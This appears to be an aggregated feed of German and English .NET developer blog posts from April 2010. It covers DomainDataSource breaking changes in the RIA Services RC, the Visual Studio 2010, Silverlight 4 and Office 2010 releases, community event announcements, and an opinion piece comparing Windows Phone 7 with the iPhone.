The DomainDataSource class includes several changes that were were made to leverage Silverlight 4 features - DependencyObject data binding and Commanding. The following changes were made for the RC release:

  1. DomainDataSource.SubmitChanges() No Longer Causes a Reload

The SubmitChanges method on DomainDataSource has been changed so that it will not automatically invoke a reload when it completes successfully. Equivalent behavior can be achieved by invoking the Load method from the SubmittedChanges event

  1. Descriptors changed to DependencyObjects

The FilterDescriptor, GroupDescriptor, Parameter, and SortDescriptor have been changed to DependencyObjects. This makes all their properties available for data binding. For instance, FilterDescriptor.Value can now be bound directly instead of requiring the use of a ControlParameter.

Was

   1: <dds:FilterDescriptor PropertyPath="MyProperty" Operator="IsEqualTo">
   2:   <dds:ControlParameter ControlName="textBox1" ParameterName="Text"
   3:       RefreshEventName="TextChanged" />
   4: </dds:FilterDescriptor>

Now

   1: <dds:FilterDescriptor PropertyPath="MyProperty" Operator="IsEqualTo"
   2:     Value="{Binding ElementName=textBox1, Path=Text}" />

FilterDescriptor.Value, GroupDescriptor.PropertyPath, and SortDescriptor.PropertyPath are no longer Parameter types. Instead each has been made an Object or String as appropriate. To access the properties in code, you now use descriptor.Value instead of descriptor.Value.Value.

Additionally, the FilterDescriptorCollection, GroupDescriptorCollection, ParameterCollection, and SortDescriptorCollection have all been made into DepedencyObjectCollections to facilitate the new binding behavior. This has rendered the following types obsolete, and they have been removed from the framework:

· ControlParameter

· ObservableItemCollection

· ItemChangedEventArgs

· ParameterTypeConverter

  1. FilterDescriptors made read-only

The FilterDescriptors property on DomainDataSource is now always initialized to a non-null value and is no longer settable.

Was

   1: <dds:DomainDataSource.FilterDescriptors>
   2:   <dds:FilterDescriptorCollection>
   3:     <dds:FilterDescriptor ...="" />
   4:     <dds:FilterDescriptor ...="" />
   5:   </dds:FilterDescriptorCollection>
   6: </dds:DomainDataSource.FilterDescriptors>
   7:  
   8:  
   9:  

Now

   1: <dds:DomainDataSource.FilterDescriptors>
   2:   <dds:FilterDescriptor ...="" />
   3:   <dds:FilterDescriptor ...="" />
   4: </dds:DomainDataSource.FilterDescriptors>
   5:  

LogicalOperator moved from FilterDescriptorCollection to DomainDataSource

The LogicalOperator property on the FilterDescriptorCollection has been relocated to the DomainDataSource. The property is now named FilterOperator.

Was

   1: <dds:DomainDataSource ...="">
   2:   <dds:DomainDataSource.FilterDescriptors>
   3:     <dds:FilterDescriptorCollection LogicalOperator="Or">
   4:       <dds:FilterDescriptor ...="" />
   5:     </dds:FilterDescriptorCollection>
   6:   </dds:DomainDataSource.FilterDescriptors>
   7: </dds:DomainDataSource>

Now

   1: <dds:DomainDataSource FilterOperator="Or" ...="">
   2:   <dds:DomainDataSource.FilterDescriptors>
   3:     <dds:FilterDescriptor ...="" />
   4:   </dds:DomainDataSource.FilterDescriptors>
   5: </dds:DomainDataSource>
  1. ModifiedFilterParameters and ModifiedQueryParameters removed

The ModifiedFilterParameters and ModifiedQueryParameters properties have been removed from LoadingDataEventArgs and LoadedDataEventArgs.

  1. FilterDescriptor.IgnoreValue default value changed to FilterDescriptor.DefaultIgnoredValue

The default behavior of the IgnoredValue property on the FilterDescriptor has changed to prevent unintended matching. Previously, the default IgnoredValue was an empty string. Now, it defaults to FilterDescriptor.DefaultIgnoredValue.

If you expect an empty string to be ignored by the filter, you are now required to explicitly set the IgnoredValue.

Was

   1: <dds:FilterDescriptor PropertyPath="MyProperty" Operator="IsEqualTo">
   2:   <dds:ControlParameter ControlName="textBox1" ParameterName="Text"
   3:       RefreshEventName="TextChanged" />
   4: </dds:FilterDescriptor>

Now

   1: <dds:FilterDescriptor PropertyPath="MyProperty" Operator="IsEqualTo"
   2:     IgnoredValue=""
   3:     Value="{Binding ElementName=textBox1, Path=Text}" />
   4:  
  1. Descriptor validation moved to DomainDataSource.Load

A majority of the validation for the FilterDescriptor, GroupDescriptor, Parameter, and SortDescriptor types has been moved to the Load method on the DomainDataSource. If a descriptor is not defined when the Load method is invoked, an error will be raised in the LoadedData event.

When the DomainDataSource is auto-loading, a few immediate validation checks are performed. The PropertyPaths must all be valid. Also, if FilterDescriptor.Value or Parameter.Value cannot be converted to the underlying property type, the auto-load will be postponed until the conversion is successful.

Office Community Day 2010 findet am 15.06.2010 statt

18.04.2010 15:39:00 | Lars Keller

Zum zweiten Mal findet der Office Community Day statt. Nachdem Mario Meir-Huber und ich diesen letztes Jahr in Wien in den Räumen von Microsoft Österreich organisiert haben, findet dieses Mal der Office Community Day bei Microsoft Deutschland in München statt. Am 15.06.10 um 09:15 geht es los.

Der Office Community Day widmet sich einen Tag lang der Entwicklung mit VSTO (Visual Studio Tools for Office). Hierbei zeigen wir nicht nur, was alles Neues mit der VSTO 4.0 gekommen ist, sondern zeigen auch viele Tipps & Tricks aus der Praxis. Erstmalig haben wir auch das Thema Sharepoint hinzugezogen, da sich, wie auch gerade mit den neuen Releases Sharepoint 2010 & MS Office 2010 zu sehen ist, die beiden Welten sich immer weiter verzahnen.

Für das Event konnten wir bekannte Sprecher aus der Community gewinnen. Es wird Vorträge von Tom Wendel, Andreas Aschauer, Helmut Obertanner (MVP VSTO) und natürlich Mario Meir-Huber und mir geben. Die vorläufige Agenda sieht folgendermaßen aus:

  • Neuerungen mit der VSTO 4
  • das OpenXML Dateiformat
  • Test Driven Development (TDD) mit dem SharePoint Server
  • der Outlook Social Connector
  • Sehenswertes in SharePoint 2010 für Entwickler
  • Outlook Entwicklung

Wie der Titel schon aussagt, ist der ganze Tag eine Community Veranstaltung. Darum freuen wir uns sehr, wenn ihr uns helfen würdet, diesen Tag zu promoten. Bloggt, twittert, schreit es in die Welt hinaus, dass der Office Community Day am 15.06.10 in München statt findet! Danke! :-)

Mehr Informationen und direkt anmelden könnt ihr euch unter http://www.vsto-taskforce.de

What’s Next – Wie die Netzwerke Wirtschaft und Gesellschaft revolutionieren

17.04.2010 17:49:55 | Damir Tomicic

Ein sehenswerter Vortrag [1] von Dr. Peter Kruse [3] zum Thema "Ist die Nutzung des Internets eine Glaubensfrage?" auf diesjähriger re:publica Konferenz in Berlin. Hinweis: der Ton ist schlecht, es hallt sehr stark leider.

[1] http://re-publica.de/10/2010/04/15/peter-kruse-ist-die-nutzung-des-internets-eine-glaubensfrage/
[2] http://www.scribd.com/doc/29900810/republica2010
[3] http://de.wikipedia.org/wiki/Peter_Kruse

Visual Studio 2010 and .NET Framework 4 Training Kit

17.04.2010 09:29:00 | Ozgur Aytekin

The Visual Studio 2010 and .NET Framework 4 Training Kit includes presentations, hands-on labs, and demos. This content is designed to help you learn how to utilize the Visual Studio 2010 features and a variety of framework technologies including:

* C# 4
* Visual Basic 10
* F#
* Parallel Extensions
* Windows Communication Foundation
* Windows Workflow
* Windows Presentation Foundation
* ASP.NET 4
* Windows 7
* Entity Framework
* ADO.NET Data Services
* Managed Extensibility Framework
* Visual Studio Team System

This version of the Training Kit works with Visual Studio 2010 and .NET Framework 4.

http://www.microsoft.com/downloads/details.aspx?FamilyID=752CB725-969B-4732-A383-ED5740F02E93&displaylang=en

BAM! –> MS Office 2010,Sharepoint 2010 und Visio 2010 sind RTM!

17.04.2010 08:34:00 | Lars Keller

Gestern wurde bekannt gegeben, dass die neuen Produkte MS Office 2010, Sharepoint 2010 und Visio 2010 RTM (Ready to Manufacture) sind. Ich freue mich schon sehr auf das finale MS Office 2010 und den Sharepoint 2010! Damit wir die neue Version der VSTO 4.0 einsetzen können, fehlt, nachdem nun Visual Studio 2010 draußen ist, noch das passende MS Office 2010 dazu. Ich konnte zwar schon ein paar neue VSTO Features mit verschiedenen MS Office 2010 Versionen ausprobieren, aber in der Kombination mit dem finalen VS 2010, war das leider noch nicht möglich.

Wir müssen uns auch noch einen kleinen Moment gedulden, bis wir die finalen Bits benutzen können:

  • Am 22.04.10 gibt es die Versionen im MSDN + TechNet zum Download (Juhu! ..und Danke an Mathias für den Hinweis.)
  • Am 27.04.10 werden die Produkte Volumen License (VL) Kunden zur Verfügung stehen
  • Ab dem 01.05.10 können dann die Kunden ohne VL bei einem Partner die Produkte erwerben.
  • Am 12.05.2010 findet ein offizielles virtuelles Launchevent statt, siehe http://www.the2010event.com.
  • Im Juni wird es dann die Produkte im Handel zu kaufen geben.

In diesem Zusammenhang möchte ich auch gleich auf den zweiten Office Community Day hinweisen, welcher am 15.06.10 in München bei Microsoft statt findet. Mehr Informationen werden die Tage folgen. Die Anmeldung zu dem Event ist aber schon freigeschaltet. :-)

Visual Studio 2010, Silverlight 4 und ReSharper 5 sind da

17.04.2010 08:25:00 | Lars Keller

Ja ist denn schon Weihnachten werden sich einige gefragt haben? :-) Nein, aber es gab diese Woche trotzdem viele neue Produkte, die das Entwicklerleben höher schlagen lassen!

Diese Woche wurde die finale Version von Visual Studio 2010 vorgestellt und im MSDN zum Download freigegeben. Einen Tag später folgte die neue Silverlight 4 Version! Yeah! Bei der AX Solutions entwickeln wir gerade ein sehr cooles Projekt mit Silverlight 4, darum war dieser Release sehnsüchtig erwartet. Leider sind die Silverlight Tool for VS 2010 nur RC 2 und noch nicht komplett fertig, aber immerhin können wir nun mit dem finalen VS 2010 arbeiten :-) Mehr Informationen dazu gibt es im Blog von Scott Guthrie

Nicht vergessen darf man den neuen ReSharper 5 von JetBrains, welcher am selben Tag wie VS 2010 released wurde. Die neue Version von R# bringt eine Menge neuer Dinge und gefällt mir sehr gut! Ohne das mittlerweile nicht mehr “kleine” Helferlein, kann ich nicht mehr entwickeln. ;-)
Wer es noch nicht kennt, sollte unbedingt einen Blick riskieren! (und NEIN ich bekomme kein Geld für diese Aussage :-)

Also happy downloading…

Visual Studio 2010 Webcasts und Quick Hits Links

16.04.2010 22:16:00 | Patric Schouler

Oliver Scheer hat auf seiner Seite jede Menge nützlicher Links und Webcasts zum Themenkreis Visual Studio 2010 zusammengestellt: o-LIVE-r : Visual Studio 2010 Webcasts und Quick Hits Links

IDE Quick Hits

VS 2010 Quick Hit: Multi-Line Editing

VS 2010 Quick Hit: Intellisense

VS 2010 Quick Hit: Generate from Usage

VS 2010 Quick Hit: Multi-Targeting

VS 2010 Quick Hit: Navigate To

VS 2010 Quick Hit: Extension Manager

VS 2010 Quick Hit: Exportable Breakpoints

Webcasts

Überblick

Visual Studio 2010 & .NET Framework 4 - Highlights

Anwendungsentwicklung mit Visual Studio 2010

Application Development mit Visual Studio 2010 (Teil 1 von 5) - Agile Software Development mit VS 2010

Application Development mit Visual Studio 2010 (Teil 2 von 5) - Entwicklung einer Windows Forms Anwendung mit VS 2010

Application Development mit Visual Studio 2010 (Teil 3 von 5) - Testing der Windows Forms Anwendung mit VS 2010

Application Development mit Visual Studio 2010 (Teil 4 von 5) - Erweiterung der Anwendung mit dem ASP.NET MVC 2, WF 4 und EF 4 (Part 1)

Application Development mit Visual Studio 2010 (Teil 5 von 5) - Erweiterung der Anwendung mit dem ASP.NET MVC 2, WF 4 und EF 4 (Part 2)

IDE

Visual Studio 2010 - Die Entwicklungsumgebung

Sprachen

C# 4.0 - Neues im Überblick

Neue Features in Visual Basic 2010 - Intellisense, Interop & mehr?

VS 2010 und C++ - Was gibt es Neues?

Die Dynamic Language Runtime - Dynamische Sprachen auf .NET

IronPython im Überblick - Python-Programmierung auf dem Microsoft .NET Framework

Frameworks

Managed Extensibility Framework - Eine Einführung

Windows Workflow 4 - Die Neuerungen

Parallele Programmierung mit .NET 4.0 - Neue Methoden zur Multikern-Programmierung

Neuheiten in ASP.NET 4.0 - Teil 1 - Neue Funktionen in den ASP.NET-Kerndiensten und neue Serversteuerelemente

Neuheiten in ASP.NET 4.0 - Teil 2 - Clientseitige Datenbindung mit ASP.NET AJAX, Verbesserungen der Steuerelemente und neue Funktion der IDE

ASP.NET MVC 2 - Eine Einführung

ASP.NET AJAX - Microsoft AJAX und das .NET Framework 4.0

Ribbon- und Backstage-Programmierung mit Visual Studio 2010 und Office 2010 - User Interface Integration in Office 2010 mit C# 4.0

MFC mit Visual Studio 2010 - Der Ribbon-Designer

Entity Framework 4 - Was ist neu?

WCF Data Services 1.5 - Was ist neu?

Team Foundation Server (Basic Installation)

Team Foundation Server 2010 für Einsteiger und kleine Teams (Teil 1 von 2) - TFS 2010 auf Windows 7 installieren bis zum ersten Check-In

Team Foundation Server 2010 für Einsteiger und kleine Teams (Teil 2 von 2) - Team Build und Version Control Branches einfach gemacht

Silverlight 4 released :-)

16.04.2010 21:23:00 | Patric Schouler

Die neue Version von Silverlight 4 kann unter www.microsoft.de/silverlight herunterladen geladen werden.

Silverlight 4 bietet neben erweiterten Funktionen zur Ausführung außerhalb des Browsers, auch Verbesserungen für Entwickler von Enterprise-Anwendungen, wie zum Beispiel die freigegebenen RIA Services, die lang ersehnte Druckerunterstützung und die einfache Integration mit anderen Anwendungen, wie zum Beispiel mit allen MS Office Produkten. So können Inhalte von Listen auf einfache Art und Weise nach Excel exportiert oder per Mail versendet werden.

Unter www.microsoft.de/silverlight findet man alle Informationen zu den neuen Features.

Zu den Top-Features der neuen Version von Silverlight 4 zählen:

  • Umfassende Unterstützung für Druck ermöglicht die Erstellung einer virtuellen Druckansicht.
  • Vertrauenswürdige Anwendungen: Benutzer können Anwendungen erhöhte Rechte einräumen. Der Zugriff auf lokale Ressourcen ist damit möglich.
  • Silverlight 4 hat jetzt Webcam und Mikrofon Unterstützung. Diese erlauben das Senden von Video und Audio in Anwendungen wie zu Beispiel Chat oder Kundenservice. Hierdurch ergeben sich viele Möglichkeiten, wie die Aufnahme von Stimmnachrichten oder Videos, welche dann z.B. per Mail verschickt werden können.

Windows Phone 7 – Take that, Apple!

16.04.2010 20:05:00 | Gregor Biswanger

 

Vom 15.03. – 17.03. fand die MIX10 Konferenz in Las Vegas statt. Die MIX ist eine Konferenz von Microsoft zum Schwerpunkt Web. Vorort konnte ich live in Las Vegas einen Einblick zu Windows Phone 7 erhalten. Doch was genau hat Windows Phone 7 auf einer Web Konferenz zu suchen? Was genau steckt hinter Windows Phone 7? Und wird Windows Phone 7 der iPhone Killer? Genau diese und viele weitere Fragen, wird dieser Artikel ausführlich durchleuchten.

Windows CE & Windows Mobile

Doch zu Beginn soll einmal die aktuelle Lage der mobilen Welt reflektiert werden. Microsoft hatte mit Windows CE die Industrie als Zielgruppe fokussiert, was auch einen sehr hohen Erfolg mit sich brachte. Man bedenke dabei, dass fast jedes Navigationsgerät auf Windows CE aufbaut. Von angefangen im Logistikbereich, wo der „gelbe Mann“ mit dem Paket vor der Tür steht und jeweils eine Unterschrift auf seinem mobilen Gerät abverlangt, bis zur Bahn, die täglich mit dem Casio Gerät kontrolliert, das ebenfalls auf Windows CE aufbaut. Hier ist Windows CE technologisch auch mit ganz anderen Zielen aufgebaut. Hier dürfen auch ohne weiteres mehrere Anwendungen zur selben Zeit laufen, damit die Geschäftsanforderungen erfüllt werden können. Meist wurden die Geräte auch in einem eingeschränkten „Kiosk-Modus“ verwendet, sodass „nur“ die hauptsächliche Geschäftsanwendung darauf zu laufen hat. Daher hatte bereits Microsoft mit Windows CE einen sehr guten Job gemacht.

Nun ging es darum, dass Microsoft als neue Zielgruppe auch den Ottonormalverbraucher dazugewinnen will, da der Markt ein immer größeres Interesse am Mobiltelefon bekommen hat, und weil der Markt vom Wohnzimmer bis zum Büro einen freien Platz bietet. Infolgedessen wurde aus Windows CE dann Windows Mobile. Um die Verwendung zu vereinfachen wurde versucht, viele Eigenschaften vom Windows Look & Feel zu übernehmen. Dennoch wurde die Oberfläche nur von fortgeschrittenen Computeranwendern (einem „Power-User“) als selbsterklärend verstanden. Viele Endanwender hatten größere Probleme mit der Navigation und dem Verständnis der Funktionalitäten. Als Beispiel sei hier das Copy & Paste genannt, das bei Windows CE bisher schon immer vorhanden war und beim Apple iPhone als revolutionäres Feature präsentiert wurde.

Windows Mobile basierte weiterhin auf dem Windows CE Kern und dieser war eben für ganz andere Anforderungen, also sprich dem Industriebereich bedacht gewesen.

Revolution iPhone

Als Apple am 23. Oktober 2001 es vom Hinterzimmer bis zum Wohnzimmer durch das iPod schaffte, wurde durch die neue Touch Bedienung und einem anspruchsvollem Design Interesse geweckt. Am 09. November 2007 kam dann die überraschende Revolution. Aus iPod wird iPhone. Die Touch-Bedienung erfolgte nun mittels Multi-Touch und einer hoch performanten und selbsterklärenden Erlebnis-Oberfläche. Diese neue Art von Bedienung überblendende die wirkliche Technologie die dahinter steckte. Selbstverständliche Funktionen, die von einem gängigen Mobiletelefon zu erwarten sind, waren nicht im iPhone inbegriffen. Als Beispiel wäre die Verwendung von eigenen Musiktiteln als Klingelton. Eine weitere Liste ist hier zu finden: http://iphone.macworld.com/2007/06/obvious_missing_features.php. Doch das spielte keine ernstzunehmende Rolle. Denn der WOW-Effekt übertrumpfte hierbei.

Doch wie konnte Apple so einzigartig gut sein? Anders als Microsoft hatte Apple immer eigenständige Hardware. Ihre Software wurde somit der Hardware nach maßgeschneidert entwickelt. Microsoft hat zudem noch das schwere Ziel, es jeder Hardware gerecht zu machen. Dass allerdings die hohe Hardware-Freiheit dem Endanwender nur zugutekommt, darf dabei nicht vergessen werden. Dennoch ging es gleichermaßen beim iPhone weiter, da die technische Hardware des iPhones durch eine zusätzliche GPU bestückt wurde, die auf OpenGL. Nur so konnte eine enorm hohe Performance der Oberfläche gewonnen werden. Der allgemeine Mobilfunkmarkt hatte allerdings einen solchen Chipsatz noch nicht. Einen weiteren Punkt zur Performance schaffte Apple durch die „einfache“ technische Architektur. Es kann jeweils auf dem iPhone nur eine Anwendung (App) ausgeführt werden und unterstützt somit offiziell kein Multi-Tasking, womit hier der ganzwertigen Speicher für die jeweilige App zur Verfügung steht. Das wären die wichtigsten Aspekte, warum Apple die top Geschwindigkeit erzielen konnte.

Aus Entwicklersicht

Ohne Entwickler gebe es auch keine Anwendungen (Apps) um die mobilen Geräte attraktiv nutzen zu können. Daher sollten kurz beide Welten durchleuchtet werden.

Entwickeln fürs iPhone

Um Anwendungen (Apps) auf dem iPhone nutzen zu können, wird dazu der AppStore von Apple benötigt. Entwickler reichen Ihre fertige Software bei Apple ein. Apple überprüft die technischen Details und stellt gegeben falls die Anwendung im AppStore bereit. Andere Anwender können erst dann diese Anwendung kostenfrei oder gegen eine Gebühr beziehen. Die Entwicklung für das iPhone wird dazu auch ein Apple-Computer, wie zum Beispiel ein MacBook benötigt. Apple stellt für die Entwicklung eine Entwicklungsumgebung bereit.

Doch besonders negativ ist das der Entwickler ein NDA unterzeichnen muss, um an das gewünschte SDK zu kommen. Apple ist in dieser Hinsicht etwas geschlossener.

Des Weiteren erkundigte ich mich bei erfahrenen iPhone Entwicklern und bekam meist enttäuschte Antworten aus der Community. Es soll leider sehr wenig Support und Informationen zur Entwicklung geben und Apple reagiere oft mit einer Art Arroganz bei einfachen Fragestellungen, was mich sehr verwundern lässt.

Entwickeln für Windows Mobile

Das Entwickeln unter Windows Mobile kann hier mit klassischen C++ oder mit .NET C# / VB.NET realisiert werden. Dazu bietet Windows Mobile das Compact Framework an, das gleichermaßen ein eingeschränktes .NET-Framework ist. Der Vorteil liegt hier klar in der Hand: Als .NET-Entwickler kann dieselbe Sprache und Entwicklungsumgebung genutzt werden, die man vom alltäglichen Arbeiten gewohnt ist. Als Entwicklungsumgebung fungiert hier Visual Studio. Ein negativer Kritikpunkt war bisher auch die Einschränkung ab Visual Studio 200x Professional, das somit eine kostenpflichtige Umgebung abverlangte. Doch wie sieht es in der Praxis aus? Leider bietet das Compact Framework aus eigener Erfahrung heraus nur für „einfache“ Szenarien eine sehr gute Lösung. Wenn allerdings eine systemnahe Anforderung verwendet werden soll, muss mittels P/Invoke darauf zugegriffen werden, was für eine Art direkten COM-Aufruf sorgt. Der Nachteil daran ist die Verständlichkeit des Source-Codes und deren Aufruf außerhalb des Managed-Codes. Das kommt daher, dass das Compact Framework so klein wie möglich gehalten werden muss, um auch für so viele Mobilfunkgeräte kompatibel zu sein.

Windows Phone 7 - Zwei Welten treffen zusammen

Wenn man sich nun kurz beide Welten vor Augen hält: Zum einen wäre dies das iPhone mit der erstaunlichen Fassade und zum anderen die Business Intelligence von Microsoft. Man lässt diese beiden Welten in ein Produkt zusammenschmelzen und man erhält eine Art von Windows Phone 7.

 

Microsoft fokussiert nun mit dem Windows Phone 7 vorerst den Ottonormalverbraucher. Dennoch werden auch geschäftsrelevante Szenarien folgen. Wie zum Beispiel eine Exchange-Anbindung, Office Mobile und vieles weitere. Bestimmte ISVs bekommen zudem die Möglichkeit Business-Apps entwickeln. Der eigentliche „CE Kern“ wurde hierbei allerdings nur erneuert, von CE 5.0 auf CE 6.0.

Power durch DirectX und XNA als Schnittstelle

Um die gleiche Performance des iPhones zu erzielen, wird eine sehr hohe Hardwarevorrausetzungen für das Windows Phone an die Hardwarehersteller gegeben. Zudem bekommt das Phone auch eine GPU mitgeliefert und baut auf eine eigene DirectX-Schnittstelle auf, die für Entwickler mittels XNA angesteuert werden kann.

Mehr Freude am Entwickeln mit Silverlight

Das Windows Phone basiert weiterhin auf einem neu geschrieben CE Kern. Die Anwendungen selbst laufen als Silverlight-Anwendungen. Somit liefert Windows Phone eine eigenständige Silverlight-Version und ist nicht gleichgestellt mit den Web-Versionen von Silverlight. Allerdings sind viele Kernfunktionen von Silverlight bereits gleichermaßen übernommen worden. Es bleibt daher die gleiche Entwicklungsumgebung (ab Visual Studio 2010), dann können die Oberflächen der Mobile-Anwendungen nun auch getrennt von erfahrenen Designer entworfen werden, zum Beispiel mit Expression Blend 4 oder anderen Adobe Produkten wie Illustrator oder PhotoShop. Der Entwickler kann zudem parallel an der Logik im Source-Code arbeiten. Diesen Entwickler-und-Designer-Workflow, gibt dem Windows Phone enorme Pluspunkte in Sachen Entwicklung!

Dennoch ist die Entwicklung für Entwickler, die das Compact Framework gewohnt waren, eine ganz neue Welt! Denn Windows Phone 7 hat neue Aspekte, die eine andere Herangehensweise und Denkweise abverlangt. Zum Beispiel, kann jeweils nur eine Anwendung laufen. Eine Art Multi-Tasking gibt es dann nicht direkt, sondern es wird einen Art Backgroundworker geben, der dann die Informationen aufnehmen kann. Auch das direkte Ansprechen auf systemnaher Ebene wird nicht mehr ohne weiteres möglich sein. Es gibt jeweils nur die Möglichkeit, das System anzufragen, das dann beliebig entscheidet, wann etwas ausgeführt wird.

Für mich persönlich sind diese unfreien Punkte erst unangenehm aufgefallen. Allerdings sehe ich mittlerweile für die spätere Qualität des Phones ein Verständnis dafür, denn ein direkter Einfluss auf das Phone kann zu weiteren unerwarteten Problemen führen.

Das Nächste was mich vorerst auch abgeschreckt hatte, war auch das gleiche Deployment wie unter dem iPhone. Es wird nicht mehr ohne weiteres möglich sein, die eigene App für andere Phones zugänglich zu machen. Für die Bereitstellung wird hier ein App MarketPlace angeboten, der leider eine jährliche Gebühr für Entwickler abverlangt. Der Entwickler selbst erhält allerdings eine Test-Lizenz fürs eigene Phone, die dann ein direktes Ausführen der App auf dem eigenen Gerät ermöglicht. Das sah ich vorerst als sehr negativ an, allerdings wird durch eine kontrollierte Qualitätskontrolle von Microsoft eine hohe Qualität der Endanwender gewährleistet. Zudem ermöglicht es auch dem Entwickler gleichermaßen durch ein und denselben Kanal Geld mit der eigenen App zu verdienen.

Navigieren nach (E)Motion

Das Windows Phone 7 zeigt sich natürlich nicht nur aus technologischer und Entwicklersicht attraktiv, sondern auch an deren neuen Navigationsmöglichkeit mittels Motion-Technologie. Dabei wird ein weiteres bisheriges Problem ausgehebelt. Durch die kleinen und unterschiedlichen Anzeigebildschirme der Smartphones, war es dem Entwickler in der Vergangenheit sehr erschwert, viele Informationen übersichtlich Anzeigen zu lassen. Windows Phone bietet daher gleich eine Bildschirm-übergreifende Benutzeroberfläche, die durch abgeschnittenen Text ein weiteres Blättern der Oberfläche darstellt.

Daher muss auch diesbezüglich gesagt werden, dass mich persönlich die neue Oberfläche vorerst nicht angesprochen hat. Doch bei genauer Betrachtung der Demos und beim Spielen mit dem Windows Phone 7 Emulator zeigt sich, dass die Oberfläche eher für intuitive Szenarien perfekt gemacht wurde. Später muss das Phone sehr schnell und einfach die gewünschte Anforderung erfüllen, was sich auch durch die Information hinter der Information widerspiegelt. Dabei ist gemeint, dass bei jeder Information auf dem Phone, weitere Funktionen und Informationen dahinter geboten werden.

In eigener „Vision“ – Windows Phone 7 und Project Natal

Dieser Artikel zeigte bisher vertieft die Sichtweise für Entwickler. Nun soll aber auf einem Punkt eingegangen werden, der für viele Endbenutzer eine neue Art der Erfahrung mit sich bringen wird. Das wäre nämlich die sofortige Integration zu anderen Microsoft Produkten und Technologien. Das Windows Phone kann mit XNA zudem denselben Code wie für XBOX erzeugte XNA Spiele abspielen. Nicht nur das, auch die übergreifende Kommunikation zur XBOX ist somit auch möglich. Folglich können Spiele gemeinsam mit Freunden von einem anderen Ort auf dem Phone gemeinsam mit der XBOX gespielt werden.

 

Dieses Jahr kündigte Microsoft eine weiteres interessantes Projekt an: Project Natal! Project Natal erfasst Personen 3-dimensional und arbeitet mit Infrarottechniken. Diese Technologie ist extra für die XBOX konzipiert worden. Ein späteres Spielen und Bedienen der Konsole ist somit „ohne“ Kontroller möglich. Ein Beispiel verdeutlichen diese Videos:

http://www.youtube.com/user/xboxprojectnatal?blend=2&ob=4
http://www.youtube.com/watch?v=D5SoRvRF440

Nun wäre aus technologischer Sichtweise, eine solche Umsetzung auch für das Windows Phone 7 ohne weiteres möglich. Dabei sollen eher keine Spiele auf dem Phone bedient werden, sondern nur die übliche Navigation stattfinden, bis dahin, dass mehrere Personen an einem Phone gemeinsam arbeiten können. Also ich persönlich kann mir sehr gut vorstellen, dass in ca. 2 Jahren die ersten Geräte mit solcher Funktion auf den Markt kommen werden.

Fazit

Zugegeben, der Titel mit „Take that, Apple!“ ist schon sehr provozierend. Allerdings zeigt sich das neue Phone von der Technologie und Entwicklung bereits um einiges Aattraktiver als das iPhone. Hierbei zählt es weitaus mehr als nur eine feine Fassade. Ob nun das Windows Phone 7 der iPhone Killer wird, liegt natürlich an der Akzeptanz des Marktes und an den Entwicklern, die nun durch bessere Entwicklungsmöglichkeiten auch bessere Anwendungen zur Verfügung stellen können. Es wird also spannend, „was“ genau alles passieren wird, sobald das Phone den Markt bedeckt. Ich persönlich sehe ein sehr hohes und starkes Potenzial für das Phone. In den nächsten Wochen sollen weitere Blog-Einträge zum Einstieg in die Entwicklung von Windows Phone 7 Anwendungen folgen.

 

Juni 2010: TechTalk zu Windows Phone 7

16.04.2010 17:59:43 | Jens Häupel

Einsteigen in die Windows Phone 7-Entwicklung

Ein Thema, zwei Experten, fünf Termine: Im Juni geht der MSDN TechTalk wieder auf seine Tour durch fünf deutsche Städte. Die beiden Referenten Frank Prengel und Oliver Scheer widmen sich dabei ganz dem Thema "Entwicklung für Windows Phone 7".

Microsoft definiert seine mobile Smartphone-Plattform neu: Windows Phone 7 legt mit neuen Bedienkonzepten, Diensten und Szenarien den Schwerpunkt auf User Experience und Performance – und auf coole, innovative Anwendungen und Games. Die Basis dafür liefert eine völlig neue Anwendungsplattform aus .NET, Silverlight und XNA - dazu gibt es kostenlose Tools für alle.

Wie diese verwendet werden und was es beim Einstieg in die Entwicklung für die neue Plattform zu wissen und zu beachten gibt, vermittelt dieser TechTalk – auch für Besucher, die bislang noch nichts mit „mobiler“ Entwicklung zu tun hatten.

Denn bei Windows Phone 7 ist aller Anfang leicht!

Daten/Locations:

· 7. Juni 2010; München

· 8. Juni 2010; Köln

· 9. Juni 2010; Hamburg

· 10. Juni 2010; Berlin

· 15. Juni 2010; Karlsruhe

Anmelden können Sie sich hier.

MSDN TechTalk im Juni 2010: App geht's! Einsteigen in die Windows Phone 7-Entwicklung

16.04.2010 13:51:32 | Jan Schenk

Ein Thema, zwei Experten, fünf Termine: Im Juni geht der MSDN TechTalk wieder auf Tour durch fünf deutsche Städte. Die beiden Referenten Frank Prengel und Oliver Scheer widmen sich dabei ganz dem Thema "Entwicklung für Windows Phone 7".

Microsoft definiert seine mobile Smartphone-Plattform neu: Windows Phone 7 legt mit neuen Bedienkonzepten, Diensten und Szenarien den Schwerpunkt auf User Experience und Performance – und auf coole, innovative Anwendungen und Games. Die Basis dafür liefert eine völlig neue Anwendungsplattform aus .NET, Silverlight und XNA - dazu gibt es kostenlose Tools für alle.

Wie diese verwendet werden und was es beim Einstieg in die Entwicklung für die neue Plattform zu wissen und zu beachten gibt, vermittelt dieser TechTalk – auch für Besucher, die bislang noch nichts mit „mobiler“ Entwicklung zu tun hatten.

Denn bei Windows Phone 7 ist aller Anfang leicht!

Daten/Locations:

· 7. Juni 2010; München

· 8. Juni 2010; Köln

· 9. Juni 2010; Hamburg

· 10. Juni 2010; Berlin

· 15. Juni 2010; Karlsruhe

http://www.microsoft.com/germany/msdn/techtalk/WindowsPhone7.mspx

Silverlight 4 ist da!

16.04.2010 13:41:43 | Oliver Scheer

Ab sofort lässt sich die neue Version Silverlight 4 unter  www.microsoft.de/silverlight herunterladen!

Sie bietet erweiterte Funktionen zur Ausführung außerhalb des Browsers, Verbesserungen für Entwickler von Enterprise-Anwendungen wie Druckerunterstützung und Integration mit anderen Anwendungen wie zum Beispiel Microsoft Outlook. Mehr als 60 anpassbare vorgefertigte Controls helfen dabei, schnell leistungsfähige, interaktive Anwendungen zu erstellen, die im und außerhalb des Browser laufen.

Unter www.microsoft.de/silverlight findet man alle Informationen zu den neuen Features.

Zu den Top-Features der neuen Version gehören:

  • Umfassende Unterstützung für Druck ermöglicht die Erstellung einer virtuellen Druckansicht. Hiermit können Anwendungen auf einfachem Weg druckbare Dokumente erzeugen.
  • Vertrauenswürdige Anwendungen: Benutzer können Anwendungen erhöhte Rechte einräumen.
